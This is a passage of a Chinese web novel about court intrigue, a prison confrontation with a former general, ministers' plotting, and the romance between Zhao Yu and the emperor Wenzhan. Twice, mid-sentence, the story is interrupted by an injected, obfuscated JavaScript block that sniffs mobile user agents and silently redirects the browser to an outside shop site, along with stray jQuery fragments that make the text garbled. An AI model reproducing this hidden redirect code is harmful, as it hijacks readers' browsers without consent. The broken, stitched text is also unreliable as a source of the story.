尹徵,“咱府老爷子不是个怂人,在西北多横啊!唉,可是一提起咱们这位皇上,就跟个吓破胆的耗子似的。” 赵毓抬起来手指抓了抓半根眉毛。 烛火忽然爆了一下,尹徵一下子看到赵毓身上,不是普通深色绸衫,而是黑色缂丝翔鸾纹锦袍! “姐夫,你这穿的是什么呀!” 赵毓挥了挥袖子,“好看不?” “好看倒是挺好看的。”尹徵疑惑,“可是姐夫,你穿这个,不会犯忌讳吗?”随后,他又一想,“反正姐夫你神通广大,你穿上这一身,就说明,你就是能穿。” 赵毓又是一笑,“其实,今天来,我想着,和你说件事。” 尹徵,“什么?” 赵毓,“你六哥的事。” 尹徵,“不会是我们的事,连累了六哥吧!” 赵毓摆手,“没,没有。” 尹徵,“那就好。我琢磨着,我们自己倒霉就算了,可别连带着亲戚朋友们沾包,那就太不好了。” “是这么回事……”赵毓向前探了探头,“桂宝儿,上次引荐你给雍王,你还记得吧。” “怎么不记得?”尹徵,“七哥待我挺好的。” 赵毓,“这个,……,你六哥,是你七哥的亲哥哥。” 尹徵,“呃?” 赵毓,“还有,他们俩的母亲是亲姐妹。” “哦!!”尹徵焕然大悟,“原来六哥也是皇亲国戚!我就说,六哥如此人才,不可能是个默默无闻的小人物。” 赵毓,“……?” 尹徵,“我听说七哥他娘亲的家族特显贵,这种家族的姑娘,不可能嫁给凡人。六哥的娘亲也是这个家族的闺女,那六哥的爹,一定非富则贵。” 赵毓,“……” 尹徵忽然有些灵敏,“姐夫,六哥,我说错什么了吗?” 赵毓,“没有。这个,桂宝儿,我再跟你说一下啊。你看,我跟你七哥,我们也是兄弟。” 尹徵,“不是,姐夫。现如今是伏天,你是不是被热懵了。” 赵毓,“……” 尹徵,“其实吧,姐夫,我当时也怀疑过,你的身份不普通。崔侯说你是表弟,我当时就觉得,你可能是那个废王承怡。但是,我一想,马上就知道自己想劈叉了。怎么样,我是不是忒聪明!” 赵毓,“为什么呀!” 尹徵,“废王承怡那个倒霉蛋儿坟头的草,早都三丈高了。” 赵毓,“……” 尹徵,“这是你说的呀!从小我娘不管我,你就给我讲故事,——从前有个京,京里有个宫,宫里有个倒霉蛋儿,名字叫承怡,他坟头的草,早就三丈高了!不瞒你说,我小的时候总做噩梦,一梦就梦见坟头长草高三丈,吓得都不敢睡。姐夫,你说,这个倒霉蛋儿到底咋回事,怎么坟头的草愣是比旁人的高出一大截?” 赵毓,“……” 哗嘞,哗嘞,……,这是异常沉重的铁链在粗糙石板上拖拉的声音。极其压抑,极其沉闷。沿着外面狭长黑暗的通道,拖着异常沉重的步伐,透过关闭的牢门,逶迤而来。 两声长,一声短,一声长,一声短。 像是地狱的鬼,在沉吟,——你在哪儿,……你在哪儿? 赵毓看向门。 “姐夫,这是西北军赵部的暗号!”尹徵一把抓住赵毓的腕子,“你麾下的西北军不是在敦煌就地裁撤了吗?不是有禁令,这套暗号伴随着赵毓部番号一起作废了吗?” 赵毓,“你怎么知道?” “我爹说的。”尹徵,“最近一个月,我爹喝多了酒,时不时也给我讲讲你的事。”说着,又扯了扯他的袖子,“姐夫,不会有鬼吧。” “什么鬼?哪儿来的鬼?”赵毓,“我西北军是被裁撤了,又不是被杀绝了。” 此时,门被文湛推开,他说,“刑部提审犯人。” 赵毓也站起来,出门,而尹徵扒在牢门边上,脑袋向外看,被赵毓摁了回去,“别出来。” 隐藏在黑暗中的狭长通道,有两刑部的吏员押送一名全身重铐的犯人,艰难前行。 通道两边墙壁上的火把陡然一爆! 赵毓忽然开口,“是你,用我西北军的暗号?你……” 那名犯人像狂兽一般暴起! 刑部的吏员根本押不住他,只能死死抓住他的链铐,却丝毫阻挡不住那人的狂乱,被他拖在石板地上,一路滑行。 “圣驾在此!” “护驾!” “护驾!!!” 恐惧与杀气,和在混乱的叫喊中! 文湛不想过于车马嚣张,随扈的禁卫军全部简装便行,原本应该反应灵敏,只是此时诏狱底层的通道过于狭窄,那些禁卫军根本无法近身! 皇帝一抬手,握拳,手势在一瞬间制止喧嚣。 柳从容迅速从一名禁卫军手中拿过一柄出鞘长剑,将剑柄呈上。文湛单手抄过长剑,一把将赵毓扯至身后,以身躯护住,剑刃横于前。 “赵毓!!” 那人开口,似乎绝望野兽在嘶吼,——“赵毓!” “你还活着?!” “殷忘川以长生天起誓,说我一定会在雍京见到你!” “他说你还活着!我十七位兄弟的骨灰,我程氏满门十三亡灵的牌位,还有我的身后事,尽可一并托付!” “哥!” “你活着,我们为什么找不到你!” “哥!” “你在雍京,可我在午门以性命相搏的时候,你在哪儿?!” “哥!” “弟兄们冤死的时候,你在哪儿?!!!” 154. 154 154 三年前。 元熙十一年,敦煌。 这里全是黄沙与戈壁,入夜之后,白天明晃晃的日头好像是上辈子的东西,隔着忘川三途河,再三回首都望不见了。夜里冷。风从沙漠那边吹过来,摇曳的灯盏照射出的光中,那些风打着旋,还有白毛。 “哥。”程风把手中温热的酸马奶酒灌了一大口,“俗话说,过了这个村就没这个店,想吃包子没这个馅。你要是不趁着现在手里还有实打实的兵权,当真给自己、给子孙挣些东西,等裁撤西北军的圣旨一到,你就什么都没了。” 赵毓仔细吃着手里甜美得似乎能流出蜜糖来的烤白薯,“没就没了吧”。 “哥,我不明白。”程风,“我原先看你还挺有心气的,怎么回了一趟老家,就什么念头都没了,就想着解甲归田,回家种地了?” “有人……”赵毓舔了舔手指,“在老家,等了我很多年……” “你要再娶啊!”程风又喝了一口酒,“你老丈人还不得劈了你?” 赵毓,“不会。” 程风,“他就算不会劈死你,也不会再像之前那样帮你了。哥,你想想,这些年在西北,他对你言听计从,你是要风得风要雨得雨,以后,这些可都没喽。” 赵毓,“没就没了吧。对了,老程,我把你的人马分了出去,就算赵部的人全部被裁,你也没事。等西北战事一平,你就调走,镇守北境。” 程风晃了晃手中的酒囊,“哥,你和尹部堂不一样,他身上有功名,你什么都没有。我原想着,你能用这些年出生入死给自己搏个出身,给儿孙留个荫封,可是,你倒好,什么都没留下。眼下这些东西,看起来似乎是泼天的权势,一下子,也就散了。” 赵毓,“散就散了吧,等太平了,我回老家钓鱼种田去,那日子才是真踏实。” “哥,我听说……”程风又喝了口酒。 赵毓,“说。” 程风,“你是罪臣之后?” 赵毓点头,“算是吧。” 程风,“这一辈子都不能去做官?” 赵毓点头,“先帝留了话,是这么个意思。” 程风,“所以他们让你出生入死,就是白使唤人,连点东西都不给?” 赵毓乐了,“给什么?” 程风,“西北这边多荒凉,就给你留个县呗。” 赵毓笑得连牙花子都露出来了,“老程,我真没看出来,你野心不小。还留个县,你知道那叫什么吗?” 程风,“啥?” 赵毓,“那叫裂土封王。” 程风,“……?” 赵毓,“有这个想法的,那坟头的草,都三丈高了。” “是吗?”程风,“看来,这群人很是有劲头呀,坟头的草都能比旁人高一大截。” 赵毓,“别妄想,这一步踏出去,收不回来了。” 程风,“我不想这些。我就想着,以后在北境建功立业,就算挣不出公卿爵位,也可以拼一个封妻荫子的世袭将军!” 三日后,程风带着人马从敦煌开拔,直赴北境。 赵毓亲自饯行。 分别时,他眼中的程风雄心勃勃,是分割了西北军最强战力的年轻将军,策马前进的方向是大郑北境,满腔热血灌满了封狼居胥!以至于,当眼前这个全身重铐、满面疮痍的诏狱重犯出现在他眼前的时候,他竟然没有认出,这就是程风! 他想伸手,扶起他,…… 文湛以身躯阻挡,极低的声音说,“那两个刑部小吏有问题。” 是的。 刑部提审重犯,到底是多么凑巧,才能让程风与来探视尹徵的赵毓当面碰到? 文湛护着赵毓,向关押尹徵的牢房退了两步,空出一些空间,让柳从容带禁卫军的人过去,这才异常平淡地吩咐,“程风继续在诏狱关押。两名刑部吏,……” 皇帝骤然停止了话音,致使整个诏狱的地下石牢如严冬肃杀万物一般!随后,他那特有的,轻、却如同雷霆万钧的声音再次劈落: “两名刑部吏连同他们的家族,上至父母下至妻儿、姻亲旧故,下诏狱。” “不必拘泥手段,求一准信。” “今日之事,受何人指使?” 外面的人全部被拉走,诏狱最底层的石牢瞬间恢复安静,和之前一样,只是,似乎又与之前有一些不同。有人曾经催肝裂胆般哀叫,这里看得见的石墙、看不见的风,被撕裂一条缝隙,即使那叫声已经平息,裂缝依旧,似乎还遗留空洞的呼啸与喘息声,映着火把,一跳一跳的。 “他们什么时候可以招出陈耘珪?”文湛忽然开口,并且他将手中的长剑递给柳丛容。柳掌印连忙恭敬接过去,长剑入鞘。 赵毓,“堂堂江南兰芝社出身的刑部尚书不会直接吩咐这些喽啰,一层一层咬上去,得耗费些时辰。” 他忽然感觉有些累,就回头扭身,到草垫子旁盘腿坐了。文湛见他没动,于是也不走,径直回到方才尹徵贡献的那个干净铺盖上,也坐了。 原本一直被赵毓摁在石牢中的尹徵,“……” 他向着赵毓这边的草垫子挤了挤,…… 赵毓却抱怨,“别挨我这么近,热。” 尹徵又向他凑合了凑合,眼睛偷瞄文湛,这才发现,文湛一直看着他! “六,六……六哥。”尹徵说话有些结巴,“我在您面前胡说八道,这事儿真不赖我,怪我姐夫没跟我说清楚。” 赵毓,“我怎么没跟你说清楚?我不是一直和你说,你六哥就是雍王殿下的亲哥哥?亲哥哥!按照大郑千年宗法制,一个爹生的才叫亲哥哥!” “怪我,这怪我。”尹徵垂头丧气,“怪我肉眼凡胎,看不出来六哥真龙托世。” “可是,……”尹徵一转眼就说,“紫微帝星下凡,托生成六哥这个样子,也挺那个啥的,……” 文湛依旧面无表情,也不说话。 赵毓倒是来了兴致,“挺哪个啥?” 尹徵,“六哥不像紫微帝星,倒特别像文曲星君下凡。我之前还以为六哥是翰林院的读书人呢!” 赵毓,“那紫微帝星应该是个啥模样?” 尹徵,“紫微帝星降世还不得三头六臂?一手拿着降魔杵,一手拿着方天画戟,一手拿着金箍棒,脑袋上是三花聚顶,脚下是五彩祥云,坐骑得是西天佛祖的大孔雀明王,大风一起,在九重天振翅翱翔!” 赵毓,“……” 尹徵,“只有这样,才能令九州臣服!” 文湛忽然平淡开口,声音与他的脸蛋子一样,毫无波澜,——“这不像紫微帝星下凡,倒像是孙猴儿大闹天宫。” 尹徵,“……” 赵毓斜睨他。 尹徵心慌慌,“姐夫,你怎么这么看我?” 赵毓,“桂宝儿,刚才那些话要是让言官听到了,你知道这是什么罪?” 尹徵,“这还有罪?” 赵毓,“妖言惑主,这是大罪。读书人的规矩,在主上面前不能说乱力乱神。” 尹徵,“这……” 文湛忽然说,“你叫了我那么多次老人家,我自然不会和你一个小孩子计较。” 尹徵,“……” “嗯。”赵毓点头,“桂宝儿没叫陛下是皇帝老儿,已经算是给自己积德了。” “姐夫!”尹徵都急了。 “没事,没事。”赵毓说,“俗话说宰相肚里能撑船,你六哥是宰相的主上,那度量可得比宰相还要大,大得多!怎么说,陛下的肚子中,也得装得下一整个运河码头。” ……运河码头。 听到这里,文湛轻笑一声,微微低下了头。 奇异的暧昧,带着绵柔的温暖。 午夜,他的头发已经扎得不是很严正,却没有丝毫垂落,只是,这样的姿势,让他那一双鸦翅般的眉,显出一种不可描述的清俊,甚至带着一抹瑰丽的艳色。 裹在身上那一袭象征着绝对权力的黑色锦袍,依旧遮不住浓浓的书卷气。 还有,难以言表的年轻。 …… “两名刑部吏连同他们的家族,上至父母下至妻儿、姻亲旧故,下诏狱。” “不必拘泥手段,求一准信。” “今日之事,受何人指使?” …… 似乎,方才那个淡漠冷酷,视人命如蝼蚁的帝王,是一场错乱的残影。 六哥…… 陛下? 尹徵凌乱了。 “成了。”赵毓站起来,“刑部这个结果,怎么也要到黎明了。桂宝儿,你在这儿乖乖待着,我们先走,还有别的事要忙。” 文湛见他要走,自然也是跟着站起来。 “姐夫!”尹徵连忙扯住赵毓的袖子,“既然这里是六哥的地盘,我能不能每天多加一个鸡腿?” “你都有大白馒头了,我们谁进诏狱都没吃过你这么好!”赵毓,“乖,别想鸡腿了。你在这个小窝里面又不动弹,再加鸡腿,小心积食。” 尹徵顿时感觉自己泪汪汪的,“姐夫……” 赵毓安慰他,顺便把袖子抽出来,“少吃些,憔悴点,等出去见到你那群混朋狗友,才有吹嘘的资格!” 说着,他还咳嗽一声,清嗓子,——“桂宝儿,你可以这么说:老子当年在诏狱,那可是当真爬过刀山,趟过血海,舍得一身剐,才熬了一条命出来!” “这多有派头?” “你要是吃得白白胖胖的,出去怎么糊弄人呢?” 文湛,“……??” 尹徵想想,倒还真是这么个理,于是撒手,也站起来,还送他们两个到门口,“那你们路上小心点,我就不送了。” 赵毓噗嗤一乐,“你倒是想送,你也得出的来。” 狱卒将门一关,尹徵就只能在牢门里面挥挥手。 …… 雍京北城,沈熙载府邸。 这几天雍京城连着下雨,又连着在微音殿议大事,沈熙载好不容易回府,已经是三更。他让仆从烧热水沐浴更衣,随即,四名新纳的侍姬用橄榄核烧炭,点燃了黄泥小火炉,烤了些枣、核桃和桂圆,随后就煮起了白茶。陈耘珪登门的时候,他正喝着茶水,闭目养神,雏龄侍姬的纤纤素手为他轻轻按压着太阳穴。 “尧之公好兴致。”陈耘珪看着着这些不过十二三岁的女孩子,微微摇头,“近来雍京多风雨,尧之公这兴致,也要收敛一二了。” 早有侍姬过来,为他去了外面的官服,又端了铜盆进来,浸润布巾,伺候他擦拭面孔,并沏了一盏清茶让他漱口,随后问到,“陈老爷是喝茶,还是饮酒?” “酒。”陈耘珪,“我喝梅子桂花冰酒。” “谦公惜福,最喜养生。”沈熙载让侍姬准备酒水,方说,“近日雍京连降大雨,寒,再喝冰酒,是要寒入肺腑的。” “我现在五内俱焚。”陈耘珪点到即止。沈熙载自然明白。等酒水上齐,沈熙载命所有人退去,他才说,“今夜诏狱的事,尧之公知否?” “怎么?”沈熙载自然不知,他方才刚从微音殿被赦回来,但是陈耘珪开口,他自然明白所指为何,“那位前王爷去诏狱了?” “去了。”陈耘珪点头,“有人陪他探监尹徵。” 沈熙载身子向前一探,“程风可到他面前喊冤?” 陈耘珪,“喊了。” 沈熙载身子再探,“可在外人面前,将高昌王的名讳喊出?” 陈耘珪,“殷忘川三个字,字字分明。” “那就好。”沈熙载又趟回紫竹罗汉床上,“等他陈情,陛下愿听否?手握重兵的宗室亲王,平定西北却没有任何封赏的卸甲悍将,其在西北军中的心腹竟然与高昌殷忘川勾结,里通外敌。陛下雄主,卧榻之旁岂容他人安睡,这次就算不离心离德,也必然心存间隙。你我隔岸观火,作壁上观即可。” 陈耘珪忽然笑了几声,短而急促,竟然有些凄厉。 沈熙载,“谦公何意?” 陈耘珪再开口,声音中竟然有些凄凉,“尧之公可知,一个时辰之前,陪赵毓探监之人,是何人?” 许是雍京连夜暴雨的风充满了寒意,穿帘而入,竟然令喝着煮茶的沈熙载打了个寒颤。 “谁?” 陈耘珪,“是陛下!” “什么?”沈熙载直接从罗汉床上直挺挺坐了起来! 陈耘珪声如死灰,“陛下是否愤怒于程风勾结高昌殷忘川,这我不得而知,我知道的是,天子震怒!我刑部那两名带程风到赵毓面前的小吏,九族下诏狱,奉旨,被严刑逼供。这件事,我没有直接吩咐他们去做,可是这一层一层咬上来,不到天亮,我就能被供出来。尧之公,天亮之后,我是否能保全,这是天数,谁也算不准,可是,我的家人是否能保全,仰赖公之仁义。” “别慌。”沈熙载眉头紧锁,带着十二万分的疑惑。 “我不慌。”陈耘珪平淡开口,“这大正宫高墙之内,犹如深渊怒海!” “尧之公,我们,误判了。” …… 雍京北城,祈王府邸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729012|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水榭。 夜雨未歇。 紫檀木的雕花门窗挡不住的水雾,缥缥缈缈进来。 屋顶上的帷幕,大床的柱子,连带着水榭二楼的木地板都似乎在狠狠摇晃着。被文湛压着,赵毓感觉自己周围的空气稀薄到干枯,双腿犹如木柴,被劈开,烧了火,噼里啪啦的,腰抽搐到碎裂。 这无边无尽的晕眩。 直到文湛把自己彻底压榨到灯枯油尽,方才日出巫山,云收雨歇。 文湛将头颅埋在赵毓的脖子间,像是亲吻,又像是啃噬,“不在诏狱陪尹徵,又把我带回这里,是不是知道我想要你,想得都要发疯了?” 赵毓没吱声,只是手指插|入文湛的头发,随后说,“这几天你要是想住这,我让人把北屋布置出来。那里毕竟是王府正房,坐北朝南,风水好,布局好,而且宽敞,不像水榭这里,本来就是赏景喝茶小憩的地方,束手束脚的,你不嫌难受?” 轻笑声。文湛,“束手束脚挺好,要是宽敞了,你跑了怎么办?” 赵毓轻抚着他汗湿的头发,“我跑哪儿去?” “谁知道?”文湛用手卡了卡赵毓的腰,细,宛如少年般的纤细,“你心那么大,装着那么多人,谁知道你又想起了谁,就跑了。” 赵毓不说话了,他闭着眼睛,手轻轻抚摸着文湛的后背,等到他起身,他摸不到了,就扯过身边的细丝薄被,把自己裹起来,静静躺着,渐渐入睡。 有文湛淅淅索索穿衣服的声音。 又安静了下来。 不一会儿,身上的薄被让人掀开,赵毓的后背扶起来,披上了一件丝料衣袍。 随后,在赵毓迷迷糊糊的时候,他就感觉自己一条胳膊被拉起来,环在文湛脖颈上,整个身子被打横抱了起来。 “我让他们收拾好了汤泉。”文湛边走边说,“泡泡热水,解乏。” 等下来水榭的木楼梯,外面早有黄枞菖在候着了,撑着伞。 “好兴致啊,陛下。这脑袋顶上下着雨,身子泡着热水。”赵毓想着就乐了,“像是油淋鸡,还被煮成鸡汤。” 文湛也是轻笑,“不会让你淋到的。” 果然,汤泉这里早就搭了竹棚,顶上铺好了毡草,正好将一池热水遮挡住。挑拣了几个地方,挂着琉璃灯。昏黄的光,如同萤火一般,在水雾当中若隐若现,也显出缥缈来。 “方才做的吗?”赵毓看着稀奇。 文湛,“前天过来的时候,就让他们去做了。” 被抱着,没入一池热水当中,四肢百骸都被水侵蚀包裹。 手边是木盘,有酒,有茶,还有酸梅汤,另外几个小瓷碟,上面是梅子蒸酿的排骨,菜泥包子,桂花糕,还有一个冰碗,里面装着藕、菱角和鲜嫩的鸡头米,淋着清甜的蜂蜜。 “我听老崔说……”赵毓喝了一口酒,是温的,“他听杜玉蝉说,他们兰芝社的人,喜爱喝一种冰酒,就是米酒中掺和了鲜红的梅子汁水,再加上冰块,最适合伏天。杜玉蝉的老家夏天热,热得和雍京不一样。咱们这里干燥,那边是湿热,下了雨也不凉快,雨水落地就成热气,再升腾,整个人间立马成了蒸笼。人在期间,都成了猪肉大包子,被蒸得嫩凑凑的。哦,怪不得江南女子和江南老爷们儿都袅袅婷婷的,想必是被蒸的。” 文湛不说话,就搂着他,让他坐在自己怀中,头还可以枕在自己的肩窝里。 “文湛,你是不是没见过江南女子?” “见过。” “哦?” “杜玉蝉姑母,还有……”文湛停了一下,随后,声音冷淡地说,“杜玉蝉之妹。” 文湛政敌,——先孝致昭嘉贵妃杜氏,与原太子正妃杜氏。 赵毓,“哦……” 文湛,“她们是不是袅袅婷婷,不记得了,我就记得她们面孔上脂粉浓重,嘴是朱砂红,眉毛螺子黛,青到发黑。其实,从小到大,每次宫廷夜宴,我一看到这些盛装女子们,都想,……” 赵毓忽然来了兴致,把脑袋抬起来,“想什么?” 文湛,“把她们的脸按在水缸里,用力搓洗。承怡你说,她们那一张张粉黛面孔,是不是就像画皮一样,遇水脱落,随后就融化了?” “……???”赵毓,“你没干过这种缺德事儿吧??!!” 文湛摇头,“知道她们也是身不由己,都是父兄的棋子,我不会刻意难为她们。” “陛下,您还真是奇异啊!”赵毓笑了,“旁的王族子弟,此时,难道不是应该想着如花美眷吗?” “这倒是。”文湛也笑了,“承怡就是如此。” 赵毓,“呃……” 文湛,“从小到大,都是我盯着你看,可是,你的眼睛却看向别处。” 闻言,赵毓看着他,看着他的眼睛,“你知道了……” 文湛点头,“嗯。” 赵毓,“知道我想说什么。” 文湛,“嗯。” 赵毓,“其实,殷忘川……” 文湛,“我不想听。” 赵毓,“程风曾经是我的副将,他手中还分走了原本属于我的一部分人马。今天,在诏狱,他在陛下面前喊出高昌殷忘川这个名字;明天,赵毓部将勾连外敌的事情就会传遍雍京。到时候,关于程风,关于小殷,他与我西北军的一些往事,都会被揭开,弹劾也会接踵而来。陛下,不想先听听我方的陈情吗?” 文湛,“我对高昌王没有特别的兴趣。高昌那个王位,是殷忘川也好,是他父王阿尔术依也罢;高昌那块土地,是敌国,大郑的附庸,还是被彻底湮灭,都无所谓。承怡,我相信你做事的分寸,在西北,生死之地,将在外,事从权,不受君命,不用解释。” 赵毓,“可是,……,在这之外,我有需要向你解释的事情,他……” 文湛,“我不想听。” 赵毓,“你不想听我说,旁人也会说。” 文湛,“到那时候,避无可避,就让旁人说。你说过,旁人的声音没有感情,叙述出来都是干巴巴的东西,听了,也就听了。” “那日在山里,你说,你对他虚情假意,他对你虚与委蛇。我知道,那是假话。” “否则,你不会哀伤。” “承怡,我只是不想从你口中再听到殷忘川这个名字。” “因为……” “你念这三个字的时候,……” “承载的感情。” “我受不了。” “这点心情,就算你无法感同身受,是否可以稍微体谅一下?” 155. 番外-二叔和谢夫人,和爬山与寺庙 二叔 赵毓说,“格非,一会儿收拾收拾,这三天咱们上空镜寺,我介绍你二叔给你认识。” 半晌,赵毓发现赵格非没个回音,他有些意外,“咋?” 赵格非,“哪里论的二叔。” “啥?”赵毓没听懂。 “就是,……”赵格非觉得也不是很好问出口,“是从殷二叔那里论的二叔,还是,六叔的兄长?” 赵毓,“……” 难得,他雍京城墙拐弯一般肥厚的面皮开始泛红,“闺女,其实,这个,……,这个老二吧,他,……” 赵格非,“亲爹,不用说了,我懂。” 闺女啊,你懂啥啊!!! 赵毓连忙解释,“不,你不懂。这个老二不是别人,就是你六叔的兄长,亲哥哥。唉,其实你亲眼看到他,就知道了,他与我可没那方面的缘分,他长得像文思豆腐。” 赵格非,“……??” …… 谢十一 空镜山脚下,赵毓抬头看着这一层一层的台阶,扭头,“闺女,要不,我背你吧。” 赵格非自己斜背着一个小布包,很认真地摇头,“谢师说过,书要自己读,路要自己走,山也要自己爬。” 谢十一? 赵毓听着忽然心中一动,“梅府那位谢夫人,还在谢氏书院教书?” 赵格非意外他怎么这么问,“一直都在,最近功课紧,谢师都住在书院中。” 赵毓,“她那位夫婿也在书院吗?” “梅翰林?”赵格非音到此处,忽然停下,看了看站在赵毓身后不远处的文湛,才说,“他微音殿伺候笔墨,御前行走,怎么会去谢氏书院?” “呃,……”赵毓很是意外。 由于赵格非坚持自己爬山,文湛吩咐人跟随,赵毓见此等情况,也就随她去。 他站在山脚下向上面望,女孩子的背影细瘦,却如同蔓藤草一般,带着一股子韧劲,又像是林中的小豹子,矫健地跳上巨石台阶,一步一步远去了,他忽然有一种冲动,自己也要“亲自”走走路,爬爬山,结果,没到十个台阶,小腿肚子就转不了筋。 哎,老不老放在一旁,以后晚上的确得节制一些了,不然,他堂堂老赵马上风,也当真是个千古笑话了。 文湛到他身边,微微弯腰,“还是我背你吧。” 赵毓立刻从善如流,伸手两支胳膊攀上文湛的肩膀,趴在文湛后背上,被稳稳地背了起来。 “谢十一家那位夫婿,老崔吧嗒着眼皮子都瞧不上他。”赵毓絮絮叨叨,“老崔这人也挺厚道的,他就直白了当地说谢十一眼瞎,可想而知,梅翰林什么人性了,唉。” 文湛,“梅府谢夫人是重臣之妻,崔姓三等侯是勋贵,他……” 未出口的话语竟是,——崔珩与梅谢两家都是井水不犯河水,倒是承怡你,…… “不。”赵毓说,“老崔就算权势熏天,也对谢十一没想法,他府上那群妖魔鬼怪,和谢夫人完全不同,谢夫人名门闺秀,老崔受不住。再说,老崔有分寸,梅帝师家的孙媳妇儿,给老崔八个胆子,他也不敢招惹。他就是,……” 文湛,“你知道谢氏是重臣之妻就好。” 赵毓惊奇,“我当然知道,当年梅府八抬大轿迎娶她进门,我还去喝了喜酒,当时所有人都说梅谢联姻是佳话,他们是一对儿佳偶,没想到,哎。”他想想,忽然觉得有些不是那个滋味,“文湛,那个梅翰林满雍京城的炫耀他们夫妻恩爱,谢十一简直就是雍京少女心中最完美的幻想,结果,她一个人在书院深居简出,让人看着,真不是那么回事儿,也不知道该说啥。” 许是方才离宫之前的晚膳上喝了些酒,有些上头,再让赵格非提起“谢十一”这个话头,赵毓一门心思就扑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729013|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢十一上头了。 “文湛,你说,谢十一到底是怎么想的?她究竟想不想跟梅翰林过了?” “文湛,谢家那位闺秀一肚子锦绣,如果是个男人,加上谢家的权势,一定前程似锦,没准儿比梅翰林前程还好。” “文湛,……” 这次是赵毓先不说话了。 等了好一会儿,文湛才问,“怎么了?” 赵毓,“当年谢枯荣想以谢氏的嫡次女嫁我,促成联姻,我当时就想,谢大人官做大了,官坐久了,脑子也浆糊了。” “要是谢枯荣以谢十一许嫁,我应该觉得这位谢大人,虽然脑袋浆糊了,可是在联姻这件事情上,却很用心。” “文湛,你是没见过谢十一,那真是一个好女子。” “呃,……” 赵毓的脑袋倒像是灌了浆糊,饶是如此,迟钝如他,也觉出不对劲。 文湛将他放下,淡淡说道,“山门到了。” 赵毓抬头,“……??!!!” 这里距离空镜寺,还有十八台阶,开凿全部使用山中青石,宽大,广硕,走上一阶,如同布上云梯。 空镜寺的山门就在那之上。 从此地望去,犹如矗立云端。 “呃,……” 赵毓刚要抱怨,文湛留人在此维护,自己一言不发,转身下山。 赵毓,“……” 呃,…… “那个,文湛,呃……” “陛下!” 唉。 赵毓看着文湛的背影消失在夜幕中。 他又扭头看看山巅。 唉。 因为说错话,赵毓被扔在半山腰。 他当真需要一步一步自己走路,一步一步自己爬山了。 那句话怎么说来着? 世间公平唯此道,王侯身上不相饶。 156. 156 156 烟雨楼。 雄踞雍京北城。 ——“绝怜高处多风雨,莫到琼楼最上层。” 赵毓一到顶楼,就听见有人吟诗,于是笑着说,“你也知道这两句?” 那人是徐玚。 他原本凭栏,一见他来,马上敬肃,深施一礼,“世叔。” 赵毓,“这是三百年前,袁家那个放荡不羁的二公子写的。袁家那位公爷,想必你也知道,国之干城,却失于所谋甚大,最后落得个没下场。” 徐玚自然知道,赵毓口中的袁家,就是三百年前宪宗朝的令国公,袁章。 这位袁公原本是宪宗重臣,在跟随皇帝平定乱世中立下汗马功劳,宪宗赐下丹书铁券,袁公立于人臣权势极点,却妄图在皇帝驾崩之后,破大郑千年法度,以异姓摄政,辅弼幼主。 他家二公子天纵英才,诗文出众,为人却是放荡不羁,不在八股文章中浪费一时半刻,只在风月之间沉迷。他为人却极清醒,在其父权势朝野煊赫之时,写下一首诗,是劝也是告诫袁章悬崖勒马,可惜,为时已晚,而“绝怜高处多风雨,莫到琼楼最上层”正是全诗最后两句,也是流传最广的两句。 似乎,…… 雍京城中这些王孙公子都会背诵。 赵毓记得,去年在烟雨楼与随侯世子石慎会晤的时候,石世子念的,也是这两句。 徐玚极认真问了一句,“世叔唤我过来,就是为了以袁章典故告诫我父亲?” “那到不是。”赵毓笑着说,“袁章所谋太大,摄政之后还想窃神器、取大郑而代之,被宗藩持宪宗皇帝遗诏灭族。徐公千步万步,也不至于到这一步。” 徐玚看到赵毓笑得犹如春风吹开万树桃花,他也想要附和笑一下,却不知怎么了,就是笑不出来。 赵毓提到了,——宗藩持宪宗皇帝遗诏将袁氏灭族。 大郑宗藩一向是大郑皇权强有力的藩篱屏障。 不要说他们间隔外臣的血统,断绝非姬姓谋朝篡位的妄想,就连兵马武力,宗室亲王也不遑多让。 眼前这位,就如是。 赵毓,或者说姬承怡,看着斯文秀致,似乎柔弱可欺,却是个实打实的硬茬。 先帝庶长子。 风化朝宠冠诸王的皇子。 征西统帅。 真真正正的皇族悍将。 如今,他在雍京,深居简出,听说拥爱宠过着酒池肉林、荒|淫|无度的日子。 可是,太|祖征伐天下的玄铁虎符却在他手中,皇帝并没有下旨收回。这就是说,赵毓虽然名分上是庶民,却拥有周公诛伐诸侯的极权! 还有,令人越深思越惶恐的是,原本属于他,却被封存的祈王府,也掀起了封条,重新启用。 但凡还有一线后路,绝不想与他为敌。 “我今天请你,是为了一件私事。”赵毓叹口气,“程风的事。徐玚,你看,我与你徐家,相交多年的情分上,徐公,是否愿意退让一步?” “世叔想要我们徐家扛下私杀友军的罪名?又甚至再加上通敌叛国?”徐玚说着,眼转看着栏杆之下,鳞次栉比的房屋,青砖青瓦,朴素异常,墙垣不高,一棵十年乔木足以遮风挡雨,“世叔不觉得,有些强人所难吗?” 赵毓,“你们做过吗?” 半晌,徐玚应,“看来,世叔还是来兴师问罪的。” 赵毓又叹口气,“到底发生过什么,你我心知肚明。徐玚,我不是要质问什么,我想的只是,程风与你我都有袍泽之情,手下容情,留他一条性命。” 